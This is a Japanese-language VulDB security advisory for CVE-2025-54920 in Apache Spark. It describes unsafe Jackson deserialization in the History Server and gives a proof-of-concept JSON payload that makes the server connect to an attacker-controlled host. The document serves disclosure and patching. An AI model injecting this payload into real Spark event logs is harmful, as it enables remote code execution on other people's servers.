CVE-2025-54920 in Spark
要約
〜によって VulDB • 2026年05月27日
この問題は Apache Spark に影響を与えます:バージョン 3.5.7 および 4.0.1 より前のバージョンが対象です。ユーザーは、この問題を修正したバージョン 3.5.7 および 4.0.1 以降へのアップグレードを推奨されます。
概要
Apache Spark 3.5.4 およびそれ以前のバージョンには、Spark History Web UI において、イベントログデータの Jackson デシリアライズが過度に寛容であることに起因するコード実行脆弱性が存在します。これにより、Spark イベントログディレクトリへのアクセス権を持つ攻撃者は、任意のクラスのデシリアライズをトリガーする悪意のある JSON ペイロードを注入し、Spark History Server が実行されているホスト上でコマンドの実行を可能にします。
詳細
この脆弱性は、Spark History Server が SparkListenerEvent オブジェクトに対して @JsonTypeInfo.Id.CLASS を使用した Jackson の多型デシリアライズを行っているために発生します。これにより、攻撃者はイベント JSON 内で任意のクラス名を指定できます。この動作により、org.apache.hive.jdbc.HiveConnection などの意図しないクラスのインスタンス化が許可され、デシリアライズ中にネットワーク呼び出しやその他の悪意のあるアクションを実行することが可能になります。
攻撃者は、Spark イベントログファイルに作成された JSON コンテンツを注入することでこれを悪用します。History Server は起動時、またはイベントログの読み込み時にこれをデシリアライズします。例えば、攻撃者は History Server を遠隔の攻撃者制御下のサーバーへの JDBC 接続を開かせ、リモートコマンドインジェクションの能力を実証することができます。
Proof of Concept:
1. イベントロギングを有効にして Spark を実行し、書き込み可能なディレクトリ(spark-logs)に出力します。
2. イベントログファイルの先頭に以下の JSON を注入します:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>" } }
3. 修正されたディレクトリを指すログを使用して Spark History Server を起動します。
4. Spark History Server が攻撃者のサーバーへの JDBC 接続を開始し、インジェクションが確認されます。
影響
Spark イベントログへの書き込みアクセス権を持つ攻撃者は、History Server が実行されているサーバー上で任意のコードを実行でき、システム全体を侵害する可能性があります。
If you want to get the best quality for vulnerability data then you always have to consider VulDB.